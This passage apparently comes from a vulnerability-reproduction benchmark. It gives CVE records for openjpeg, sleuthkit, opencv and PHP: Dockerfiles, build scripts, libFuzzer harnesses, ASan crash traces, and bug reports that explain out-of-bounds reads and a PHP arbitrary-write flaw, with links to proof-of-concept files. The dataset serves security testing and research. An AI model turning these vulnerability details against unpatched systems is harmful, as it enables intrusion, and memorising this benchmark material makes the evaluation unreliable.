fuzzer_release_tmpfile(filename_); }\n\n const char* filename() const { return filename_; }\n\n private:\n char* filename_;\n};\n#endif\n\n#endif // FUZZER_TEMP_FILE_H_\n", "filename": "fuzzer_temp_file.h" }, { "content": "#include <opencv2/opencv.hpp>\n#include <opencv2/imgcodecs/legacy/constants_c.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t* data, size_t size) {\n std::vector<uint8_t> image_data = {data, data + size};\n // TODO: Try other image types than CV_8UC1.\n cv::Mat data_matrix =\n cv::Mat(1, image_data.size(), CV_8UC1, image_data.data());\n try {\n cv::Mat decoded_matrix = cv::imdecode(data_matrix, CV_LOAD_IMAGE_UNCHANGED);\n } catch (cv::Exception e) {\n // Do nothing.\n }\n return 0;\n}\n\n", "filename": "imdecode_fuzzer.cc" }, { "content": "#include <cstddef>\n#include <cstdint>\n#include <unistd.h>\n\n#include <opencv2/opencv.hpp>\n#include \"fuzzer_temp_file.h\"\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t* data, size_t size) {\n const FuzzerTemporaryFile file(data, size);\n try {\n cv::Mat matrix = cv::imread(file.filename());\n } catch (cv::Exception e) {\n // Do nothing.\n }\n return 0;\n}\n\n", "filename": "imread_fuzzer.cc" } ]
[ { "sha": "33b765d", "url": null }, { "sha": "371bba8", "url": null } ]
openjpeg.cve-2016-3183
uclouvain/openjpeg
ad593c9e0622e0d8d87228e67e4dbd36243ffd22
2016-04-29T16:51:14
openjpeg
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y make cmake g++ RUN git clone https://github.com/uclouvain/openjpeg openjpeg RUN git -C openjpeg checkout ad593c9e0622e0d8d87228e67e4dbd36243ffd22 WORKDIR $SRC/openjpeg COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu mkdir -p build cd build cmake .. make clean -s -j$(nproc) make -j$(nproc) -s
/src/openjpeg
address
================= Bug Report (1/2) ================== ## Source: Red Hat Bugzilla ## URL: https://bugzilla.redhat.com/show_bug.cgi?id=1317821 ## Description: Bugzilla ID: 1317821 Title: CVE-2016-3183 openjpeg: Out-of-bounds read in sycc422_to_rgb function Description Adam Mariš 2016-03-15 10:08:32 UTC n our-of-bounds read vulnerability in sycc422_to_rgb function triggered by specially crafted JPEG2000 image file was found in openjpeg version 2016.03.14. CVE request (contains reproducer): http://seclists.org/oss-sec/2016/q1/632 Comments: Comment 1 Adam Mariš 2016-03-15 10:19:39 UTC Created mingw-openjpeg2 tracking bugs for this issue: Affects: fedora-all [bug 1317831] --- Comment 2 Adam Mariš 2016-03-15 10:19:45 UTC Created openjpeg2 tracking bugs for this issue: Affects: fedora-all [bug 1317830] Affects: epel-all [bug 1317832] --- Comment 3 Andrej Nemec 2016-03-17 08:22:22 UTC CVE assignment: http://seclists.org/oss-sec/2016/q1/668 --- Comment 4 Sandro Mani 2016-05-04 11:40:07 UTC Patch: https://github.com/uclouvain/openjpeg/commit/15f081c89650dccee4aa4ae66f614c3fdb268767 --- Comment 5 Fedora Update System 2016-07-14 14:51:46 UTC openjpeg2-2.1.1-1.fc24 has been pushed to the Fedora 24 stable repository. If problems still persist, please make note of it in this bug report. ================= Bug Report (2/2) ================== ## Source: GitHub Issue ## URL: https://github.com/uclouvain/openjpeg/issues/726 ## Description: Issue: uclouvain/openjpeg#726 Title: CVE-2016-3183 Out-Of-Bounds Read in sycc422_to_rgb function State: closed Created by: trylab Created at: 2016-03-16 10:05:56+00:00 Labels: bug, Priority-Critical Issue Body: AddressSanitizer error message. ``` ==116421==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x633000018c00 at pc 0x000000529f98 bp 0x7ffe75bda580 sp 0x7ffe75bda578 READ of size 4 at 0x633000018c00 thread T0 #0 0x529f97 in sycc422_to_rgb openjpeg/src/bin/common/color.c:148:33 #1 0x527625 in color_sycc_to_rgb openjpeg/src/bin/common/color.c:286:3 #2 0x4f1f5b in main openjpeg/src/bin/jp2/opj_decompress.c:1375:4 #3 0x7f14c593182f in __libc_start_main /build/glibc-GKVZIf/glibc-2.23/csu/../csu/libc-start.c:291 #4 0x41a978 in _start (openjpeg/bin/opj_decompress+0x41a978) 0x633000018c00 is located 0 bytes to the right of 99328-byte region [0x633000000800,0x633000018c00) allocated by thread T0 here: #0 0x4bac30 in calloc (openjpeg/bin/opj_decompress+0x4bac30) #1 0x7f14c722d764 in opj_calloc openjpeg/src/lib/openjp2/opj_malloc.c:203:10 #2 0x7f14c71a0e7a in opj_j2k_update_image_data openjpeg/src/lib/openjp2/j2k.c:8212:62 #3 0x7f14c71a0886 in opj_j2k_decode_tiles openjpeg/src/lib/openjp2/j2k.c:9752:23 #4 0x7f14c71693fd in opj_j2k_exec openjpeg/src/lib/openjp2/j2k.c:7341:41 #5 0x7f14c717c44e in opj_j2k_decode openjpeg/src/lib/openjp2/j2k.c:9943:15 #6 0x7f14c71d4356 in opj_decode openjpeg/src/lib/openjp2/openjpeg.c:412:10 #7 0x4f1627 in main openjpeg/src/bin/jp2/opj_decompress.c:1330:10 #8 0x7f14c593182f in __libc_start_main /build/glibc-GKVZIf/glibc-2.23/csu/../csu/libc-start.c:291 SUMMARY: AddressSanitizer: heap-buffer-overflow openjpeg/src/bin/common/color.c:148:33 in sycc422_to_rgb Shadow bytes around the buggy address: 0x0c667fffb130: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c667fffb140: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c667fffb150: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c667fffb160: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c667fffb170: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c667fffb180:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c667fffb190: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c667fffb1a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c667fffb1b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c667fffb1c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c667fffb1d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==116421==ABORTING ``` Credit to **Ke Liu of Tencent's Xuanwu LAB**. Comments: Comment by boxerab on 2016-03-31 03:42:19+00:00: kdu_show crashes when trying to read this image.
[]
[ { "sha": "15f081c89650dccee4aa4ae66f614c3fdb268767", "url": "https://github.com/rouault/openjpeg/commit/15f081c89650dccee4aa4ae66f614c3fdb268767" }, { "sha": "55e2cc9b327f102a91f4e4db56b7bcdc21c50a6a", "url": "https://github.com/mayeut/openjpeg/commit/55e2cc9b327f102a91f4e4db56b7bcdc21c50a6a" }, { "sha": "40e4e51233af796b346b619cffb5d20d5ee07df0", "url": "https://github.com/mayeut/openjpeg/commit/40e4e51233af796b346b619cffb5d20d5ee07df0" }, { "sha": "e010aba95bbf6a0de9f27e989267a582a0bbf65e", "url": "https://github.com/mayeut/openjpeg/commit/e010aba95bbf6a0de9f27e989267a582a0bbf65e" }, { "sha": "93b65520bad7ea5e146979c3f3f919c596576696", "url": "https://github.com/uclouvain/openjpeg/commit/93b65520bad7ea5e146979c3f3f919c596576696" }, { "sha": "4f11e89c803fd9a332698bc36338a4be87c6d199", "url": "https://github.com/mayeut/openjpeg/commit/4f11e89c803fd9a332698bc36338a4be87c6d199" } ]
sleuthkit.cve-2018-11737
sleuthkit/sleuthkit
9b776576aa6a1fbf328e82fd7cb6b428179de016
2013-02-02T14:47:01
sleuthkit
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y make autoconf automake libtool RUN git clone https://github.com/sleuthkit/sleuthkit sleuthkit RUN git -C sleuthkit checkout 9b776576aa6a1fbf328e82fd7cb6b428179de016 WORKDIR $SRC/sleuthkit COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu export CFLAGS="$CFLAGS -Wno-error=non-c-typedef-for-linkage" export CXXFLAGS="$CXXFLAGS -Wno-error=non-c-typedef-for-linkage" ./bootstrap ./configure --enable-static --disable-shared --disable-java make -j$(nproc)
/src/sleuthkit
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/sleuthkit/sleuthkit/issues/1266 ## Description: Issue: sleuthkit/sleuthkit#1266 Title: AddressSanitizer: out-of-bounds unmapped memory access in ntfs_fix_idxrec (tsk/fs/ntfs_dent.cpp:680:16) State: open Created by: glen-mac Created at: 2018-06-03 13:32:43+00:00 Issue Body: Hey there, I have discovered an unmapped memory access in the sleuth kit at: [ntfs_dent.cpp:680:16](https://github.com/sleuthkit/sleuthkit/blob/4efa611df63e627f7850b10b8f7eda36787dbc94/tsk/fs/ntfs_dent.cpp#L680) Found when fuzzing commit 4efa611df63e627f7850b10b8f7eda36787dbc94. Compile flags to reproduce: ``` CC=clang CXX=clang++ CFLAGS='-fsanitize=address -g -O2 -fno-omit-frame-pointer' CXXFLAGS=$CFLAGS make ``` System information: ``` $ uname -a Linux s127422 3.13.0-137-generic #186-Ubuntu SMP Mon Dec 4 19:09:19 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux ``` This bug was found to be in sleuth kit releases from [4.0.1](https://github.com/sleuthkit/sleuthkit/tree/sleuthkit-4.0.1) up until and including the latest release [4.6.1](https://github.com/sleuthkit/sleuthkit/tree/sleuthkit-4.6.1) You can find a POC that triggers the bug [here](https://github.com/sleuthkit/sleuthkit/files/2065655/ntfsdent_crashes.zip). The full ASAN report is shown below: ``` ↳ tools/fstools/fls -lrp crash.file ================================================================= ==7493==ERROR: AddressSanitizer: SEGV on unknown address 0x621000024d28 (pc 0x000000691ae9 bp 0x7ffd4abaa8b0 sp 0x7 ffd4abaa7e0 T0) #0 0x691ae8 in ntfs_fix_idxrec(NTFS_INFO*, ntfs_idxrec*, unsigned int) /home/glenn/temp/sleuthkit/tsk/fs/ntfs_d ent.cpp:680:16 #1 0x680008 in ntfs_dir_open_meta /home/glenn/temp/sleuthkit/tsk/fs/ntfs_dent.cpp:1167:17 #2 0x5019cf in tsk_fs_dir_open_meta /home/glenn/temp/sleuthkit/tsk/fs/fs_dir.c:290:14 #3 0x503a02 in tsk_fs_dir_walk_lcl /home/glenn/temp/sleuthkit/tsk/fs/fs_dir.c:556:19 #4 0x50375c in tsk_fs_dir_walk /home/glenn/temp/sleuthkit/tsk/fs/fs_dir.c:817:14 #5 0x4fb072 in tsk_fs_fls /home/glenn/temp/sleuthkit/tsk/fs/fls_lib.c:262:12 #6 0x4efba8 in main /home/glenn/temp/sleuthkit/tools/fstools/fls.cpp:307:9 #7 0x7f91cec5e82f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291 #8 0x41a008 in _start (/home/glenn/temp/sleuthkit/results-binaries/fls-sleuthkit-4.6.1+0x41a008) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/glenn/temp/sleuthkit/tsk/fs/ntfs_dent.cpp:680:16 in ntfs_fix_idxrec(NTFS_INFO *, ntfs_idxrec*, unsigned int) ==7493==ABORTING ``` Comments: Comment by FIOpwK on 2019-07-08 05:44:30+00:00: CVE-2018-11737 was assigned to this issue (not requested by me) Attachments: https://github.com/sleuthkit/sleuthkit/files/2065655/ntfsdent_crashes.zip Commit References: 4efa611df63e627f7850b10b8f7eda36787dbc94
[ { "content": "// Copyright 2020 Google LLC\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n#include <stddef.h>\n#include <stdint.h>\n\n#include \"sleuthkit/tsk/tsk_tools_i.h\"\n#include \"sleuthkit_mem_img.h\"\n\n#ifndef FSTYPE\n#error Define FSTYPE as a valid value of TSK_FS_TYPE_ENUM.\n#endif\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {\n TSK_IMG_INFO *img;\n TSK_FS_INFO *fs;\n\n img = mem_open(data, size);\n if (img == nullptr)\n return 0;\n\n fs = tsk_fs_open_img(img, 0, FSTYPE);\n if (fs != nullptr) {\n tsk_fs_fls(fs, TSK_FS_FLS_FULL, fs->root_inum, TSK_FS_DIR_WALK_FLAG_RECURSE,\n nullptr, 0);\n\n fs->close(fs);\n }\n\n img->close(img);\n return 0;\n}\n", "filename": "sleuthkit_fls_fuzzer.cc" }, { "content": "// Copyright 2020 Google LLC\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n#ifndef MEM_IMG_H\n#define MEM_IMG_H\n\n#include <stddef.h>\n#include <stdint.h>\n\n#include \"sleuthkit/tsk/tsk_tools_i.h\"\n\ntypedef struct {\n TSK_IMG_INFO img_info;\n const uint8_t *data;\n size_t size;\n} IMG_MEM_INFO;\n\nstatic ssize_t mem_read(TSK_IMG_INFO *img_info, TSK_OFF_T offset, char *buf,\n size_t len) {\n IMG_MEM_INFO *mem_info = reinterpret_cast<IMG_MEM_INFO *>(img_info);\n // Bounds-checking exists in the real drivers.\n if (offset > mem_info->size) {\n return -1;\n }\n ssize_t read_len = len;\n if (offset + len > mem_info->size) {\n read_len = mem_info->size - offset;\n }\n if (memcpy(buf, mem_info->data + offset, read_len) == nullptr) {\n return -1;\n } else {\n return read_len;\n }\n}\n\nstatic void mem_close(TSK_IMG_INFO *img_info) {\n IMG_MEM_INFO *mem_info = reinterpret_cast<IMG_MEM_INFO *>(img_info);\n tsk_deinit_lock(&(img_info->cache_lock));\n free(mem_info);\n}\n\nstatic void mem_imgstat(TSK_IMG_INFO *img_info, FILE *hFile) {}\n\nTSK_IMG_INFO *mem_open(const uint8_t *data, size_t size) {\n IMG_MEM_INFO *inmemory_img =\n reinterpret_cast<IMG_MEM_INFO *>(malloc(sizeof(IMG_MEM_INFO)));\n TSK_IMG_INFO *img;\n if (inmemory_img == nullptr) {\n return nullptr;\n }\n img = reinterpret_cast<TSK_IMG_INFO *>(inmemory_img);\n img->itype = TSK_IMG_TYPE_RAW;\n img->read = mem_read;\n img->close = mem_close;\n img->imgstat = mem_imgstat;\n img->size = size;\n img->sector_size = 512;\n tsk_init_lock(&(img->cache_lock));\n inmemory_img->data = data;\n inmemory_img->size = size;\n return img;\n}\n\n#endif // # MEM_IMG_H\n", "filename": "sleuthkit_mem_img.h" }, { "content": "// Copyright 2020 Google LLC\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n#include <stddef.h>\n#include <stdint.h>\n\n#include \"sleuthkit/tsk/tsk_tools_i.h\"\n#include \"sleuthkit_mem_img.h\"\n\n#ifndef VSTYPE\n#error Define VSTYPE as a valid value of TSK_VS_TYPE_ENUM.\n#endif\n\nstatic TSK_WALK_RET_ENUM part_act(TSK_VS_INFO *vs, const TSK_VS_PART_INFO *part,\n void *ptr) {\n return TSK_WALK_CONT;\n}\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {\n TSK_IMG_INFO *img;\n TSK_VS_INFO *vs;\n\n img = mem_open(data, size);\n if (img == nullptr)\n return 0;\n\n vs = tsk_vs_open(img, 0, VSTYPE);\n if (vs != nullptr) {\n tsk_vs_part_walk(vs, 0, vs->part_count - 1, TSK_VS_PART_FLAG_ALL, part_act,\n nullptr);\n\n tsk_vs_close(vs);\n }\n\n img->close(img);\n return 0;\n}\n", "filename": "sleuthkit_mmls_fuzzer.cc" } ]
[ { "sha": "4efa611df63e627f7850b10b8f7eda36787dbc94", "url": "https://github.com/sleuthkit/sleuthkit/commit/4efa611df63e627f7850b10b8f7eda36787dbc94" } ]
opencv.cve-2017-18009
opencv/opencv
af4d6f34d8d05b0a9a0278728823272e49a63898
2017-10-10T04:29:57
opencv
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y build-essential cmake pkg-config RUN git clone https://github.com/opencv/opencv opencv RUN git -C opencv checkout af4d6f34d8d05b0a9a0278728823272e49a63898 WORKDIR $SRC/opencv COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu mkdir -p opencv/build cmake -D CMAKE_BUILD_TYPE=Release -D CMAKE_INSTALL_PREFIX=$WORK \ -DBUILD_SHARED_LIBS=OFF -DOPENCV_GENERATE_PKGCONFIG=ON \ -DOPENCV_GENERATE_PKGCONFIG=ON -DOPENCV_FORCE_3RDPARTY_BUILD=ON .. make -j$(nproc) make install -j$(nproc)
/src/opencv
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/opencv/opencv/issues/10479 ## Description: Issue: opencv/opencv#10479 Title: Buffer overflow in cv::HdrDecoder::checkSignature State: closed Created by: Mambaboy Created at: 2018-01-01 03:37:50+00:00 Labels: bug, category: imgcodecs, category: vulnerability Issue Body: ## System information (version) OpenCV => 3.3.1 Operating System / Platform => Ubuntu 16.04 Compiler => clang++ Detailed description ## Detailed description A buffer overflow occurs in function cv::HdrDecoder::checkSignature in file modules/imgcodecs/src/grfmt_hdr.cpp:106:. The crash details as follows: ``` ================================================================= ==12333==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x609000000ecc at pc 0x000001a5ef1f bp 0x7fff12ca2300 sp 0x7fff12ca1ab0 READ of size 10 at 0x609000000ecc thread T0 #0 0x1a5ef1e in memcmp /home/opencv/fuzz/libfuzzer-workshop/src/llvm/projects/compiler-rt/lib/asan/../sanitizer_common/sanitizer_common_interceptors.inc:774 #1 0x45a8e6 in cv::HdrDecoder::checkSignature(cv::String const&) const /home/opencv/fuzz/target/opencv-3.3.1-test-crash/modules/imgcodecs/src/grfmt_hdr.cpp:106:9 #2 0x423bce in cv::findDecoder(cv::String const&) /home/opencv/fuzz/target/opencv-3.3.1-test-crash/modules/imgcodecs/src/loadsave.cpp:216:33 #3 0x419023 in cv::imread_(cv::String const&, int, int, cv::Mat*) /home/opencv/fuzz/target/opencv-3.3.1-test-crash/modules/imgcodecs/src/loadsave.cpp:402:19 #4 0x418a80 in cv::imread(cv::String const&, int) /home/opencv/fuzz/target/opencv-3.3.1-test-crash/modules/imgcodecs/src/loadsave.cpp:638:5 #5 0x413f25 in main /home/opencv/fuzz/target/opencv-3.3.1-test-crash/samples/cpp/example_cmake/example.cpp:54:11 #6 0x7f8794948f44 in __libc_start_main /build/eglibc-SvCtMH/eglibc-2.19/csu/libc-start.c:287 #7 0x4130c5 in _start (/home/opencv/verify+0x4130c5) 0x609000000ecc is located 0 bytes to the right of 12-byte region [0x609000000ec0,0x609000000ecc) allocated by thread T0 here: #0 0x1a92c35 in __interceptor_posix_memalign /home/opencv/fuzz/libfuzzer-workshop/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:157 #1 0x6bb169 in cv::fastMalloc(unsigned long) /home/opencv/fuzz/target/opencv-3.3.1-test-crash/modules/core/src/alloc.cpp:64:8 #2 0xb31682 in cv::String::allocate(unsigned long) /home/opencv/fuzz/target/opencv-3.3.1-test-crash/modules/core/src/stl.cpp:50:23 #3 0x43ba2e in cv::String::substr(unsigned long, unsigned long) const /home/opencv/fuzz/target/opencv-3.3.1-test-crash/modules/core/include/opencv2/core/cvstd.hpp:780:12 #4 0x419023 in cv::imread_(cv::String const&, int, int, cv::Mat*) /home/opencv/fuzz/target/opencv-3.3.1-test-crash/modules/imgcodecs/src/loadsave.cpp:402:19 #5 0x418a80 in cv::imread(cv::String const&, int) /home/opencv/fuzz/target/opencv-3.3.1-test-crash/modules/imgcodecs/src/loadsave.cpp:638:5 #6 0x413f25 in main /home/opencv/fuzz/target/opencv-3.3.1-test-crash/samples/cpp/example_cmake/example.cpp:54:11 #7 0x7f8794948f44 in __libc_start_main /build/eglibc-SvCtMH/eglibc-2.19/csu/libc-start.c:287 SUMMARY: AddressSanitizer: heap-buffer-overflow /home/opencv/fuzz/libfuzzer-workshop/src/llvm/projects/compiler-rt/lib/asan/../sanitizer_common/sanitizer_common_interceptors.inc:774 in memcmp Shadow bytes around the buggy address: 0x0c127fff8180: 00 00 00 00 fa fa fa fa fa fa fa fa fa fa fa fa 0x0c127fff8190: 00 00 00 00 00 fa fa fa fa fa fa fa fa fa fa fa 0x0c127fff81a0: 00 00 fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c127fff81b0: fa fa fa fa fa fa fa fa 00 fa fa fa fa fa fa fa 0x0c127fff81c0: fa fa fa fa fa fa fa fa fd fd fd fd fd fa fa fa =>0x0c127fff81d0: fa fa fa fa fa fa fa fa 00[04]fa fa fa fa fa fa 0x0c127fff81e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c127fff81f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c127fff8200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c127fff8210: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c127fff8220: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==12333==ABORTING ``` ## Steps to reproduce Please refer to the following url for the testcases: https://github.com/Epeius/NBPOC/blob/master/poc_out_of_bound_read_01 Comments: Comment by Epeius on 2018-01-02 08:09:44+00:00: This issue was assigned [CVE-2017-18009](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-18009)
[ { "content": "// Copyright 2018 Google Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n// Adapter utility from fuzzer input to a temporary file, for fuzzing APIs that\n// require a file instead of an input buffer.\n\n#ifndef FUZZER_TEMP_FILE_H_\n#define FUZZER_TEMP_FILE_H_\n\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n\n// Pure-C interface for creating and cleaning up temporary files.\n\nstatic char* fuzzer_get_tmpfile(const uint8_t* data, size_t size) {\n char* filename_buffer = strdup(\"/tmp/generate_temporary_file.XXXXXX\");\n if (!filename_buffer) {\n perror(\"Failed to allocate file name buffer.\");\n abort();\n }\n const int file_descriptor = mkstemp(filename_buffer);\n if (file_descriptor < 0) {\n perror(\"Failed to make temporary file.\");\n abort();\n }\n FILE* file = fdopen(file_descriptor, \"wb\");\n if (!file) {\n perror(\"Failed to open file descriptor.\");\n close(file_descriptor);\n abort();\n }\n const size_t bytes_written = fwrite(data, sizeof(uint8_t), size, file);\n if (bytes_written < size) {\n close(file_descriptor);\n fprintf(stderr, \"Failed to write all bytes to file (%zu out of %zu)\",\n bytes_written, size);\n abort();\n }\n fclose(file);\n return filename_buffer;\n}\n\nstatic void fuzzer_release_tmpfile(char* filename) {\n if (unlink(filename) != 0) {\n perror(\"WARNING: Failed to delete temporary file.\");\n }\n free(filename);\n}\n\n// C++ RAII object for creating temporary files.\n\n#ifdef __cplusplus\nclass FuzzerTemporaryFile {\n public:\n FuzzerTemporaryFile(const uint8_t* data, size_t size)\n : filename_(fuzzer_get_tmpfile(data, size)) {}\n\n ~FuzzerTemporaryFile() { fuzzer_release_tmpfile(filename_); }\n\n const char* filename() const { return filename_; }\n\n private:\n char* filename_;\n};\n#endif\n\n#endif // FUZZER_TEMP_FILE_H_\n", "filename": "fuzzer_temp_file.h" }, { "content": "#include <opencv2/opencv.hpp>\n#include <opencv2/imgcodecs/legacy/constants_c.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t* data, size_t size) {\n std::vector<uint8_t> image_data = {data, data + size};\n // TODO: Try other image types than CV_8UC1.\n cv::Mat data_matrix =\n cv::Mat(1, image_data.size(), CV_8UC1, image_data.data());\n try {\n cv::Mat decoded_matrix = cv::imdecode(data_matrix, CV_LOAD_IMAGE_UNCHANGED);\n } catch (cv::Exception e) {\n // Do nothing.\n }\n return 0;\n}\n\n", "filename": "imdecode_fuzzer.cc" }, { "content": "#include <cstddef>\n#include <cstdint>\n#include <unistd.h>\n\n#include <opencv2/opencv.hpp>\n#include \"fuzzer_temp_file.h\"\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t* data, size_t size) {\n const FuzzerTemporaryFile file(data, size);\n try {\n cv::Mat matrix = cv::imread(file.filename());\n } catch (cv::Exception e) {\n // Do nothing.\n }\n return 0;\n}\n\n", "filename": "imread_fuzzer.cc" } ]
[ { "sha": "4ca89db22dea962690f31c1781bce5937ee91837", "url": "https://github.com/opencv/opencv/commit/4ca89db22dea962690f31c1781bce5937ee91837" } ]
php.cve-2016-7127
php/php-src
a3598dd7c9b182debcb54b9322b1dece14c9b533
2016-08-17T00:55:40
php-src
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y make autoconf automake libtool bison re2c make ca-certificates curl xz-utils dpkg-dev file libc-dev pkg-config libcurl4-openssl-dev libedit-dev libsqlite3-dev libssl-dev zlib1g-dev RUN git clone https://github.com/php/php-src php-src RUN git -C php-src checkout a3598dd7c9b182debcb54b9322b1dece14c9b533 WORKDIR $SRC/php-src COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu ./buildconf --force ./configure \ --enable-option-checking=fatal \ --disable-libxml \ --disable-dom \ --disable-simplexml \ --disable-xml \ --disable-xmlreader \ --disable-xmlwriter \ --without-pear \ --enable-exif \ --disable-phpdbg \ --disable-cgi make -j$(nproc)
/src/php-src
address
================= Bug Report (1/1) ================== ## Source: PHP Bugs ## URL: https://bugs.php.net/bug.php?id=72730 ## Description: PHP Bug ID: 72730 Summary: imagegammacorrect allows arbitrary write access Status: Closed PHP Version: 5.6.24 Assigned: stas (profile) CVE-ID: 2016-7127 Description: Description: ------------ Description: ------------ imagegammacorrect accepts two gamma values, if they don't have the same sign then the palette colors will be assigned values bigger than 0xFF, later this values are used to calculate the transparent color using the gdTrueColorAlpha macro, and a negative value will be assigned to the transparent color. This negative value is used as an index and allows writing an arbitrary null, similar to bug #72512 This doesn't affect libgd upstream, gamma correction is only implemented in PHP. Possible fix ------------ Don't accept negative values on imagegammacorrect Details ------- Source code: https://github.com/php/php-src/blob/master/ext/gd/gd.c#L3024 PHP_FUNCTION(imagegammacorrect) { zval *IM; gdImagePtr im; int i; double input, output; if (zend_parse_parameters(ZEND_NUM_ARGS(), "rdd", &IM, &input, &output) == FAILURE) { return; } if ((im = (gdImagePtr)zend_fetch_resource(Z_RES_P(IM), "Image", le_gd)) == NULL) { RETURN_FALSE; } if (gdImageTrueColor(im)) { int x, y, c; for (y = 0; y < gdImageSY(im); y++) { for (x = 0; x < gdImageSX(im); x++) { c = gdImageGetPixel(im, x, y); gdImageSetPixel(im, x, y, gdTrueColorAlpha( (int) ((pow((pow((gdTrueColorGetRed(c) / 255.0), input)), 1.0 / output) * 255) + .5), (int) ((pow((pow((gdTrueColorGetGreen(c) / 255.0), input)), 1.0 / output) * 255) + .5), (int) ((pow((pow((gdTrueColorGetBlue(c) / 255.0), input)), 1.0 / output) * 255) + .5), gdTrueColorGetAlpha(c) ) ); } } RETURN_TRUE; } for (i = 0; i < gdImageColorsTotal(im); i++) { im->red[i] = (int)((pow((pow((im->red[i] / 255.0), input)), 1.0 / output) * 255) + .5); im->green[i] = (int)((pow((pow((im->green[i] / 255.0), input)), 1.0 / output) * 255) + .5); im->blue[i] = (int)((pow((pow((im->blue[i] / 255.0), input)), 1.0 / output) * 255) + .5); } RETURN_TRUE; } The line that calculates the rgb values generates a value bigger than 255, let's analyze red for example: im->red[i] = (int)((pow((pow((im->red[i] / 255.0), input)), 1.0 / output) * 255) + .5); This formula is: [[r/255] ^ input ] ^ (1 / output) [r/255] ^ (input / output) If one of these two is negatives then it 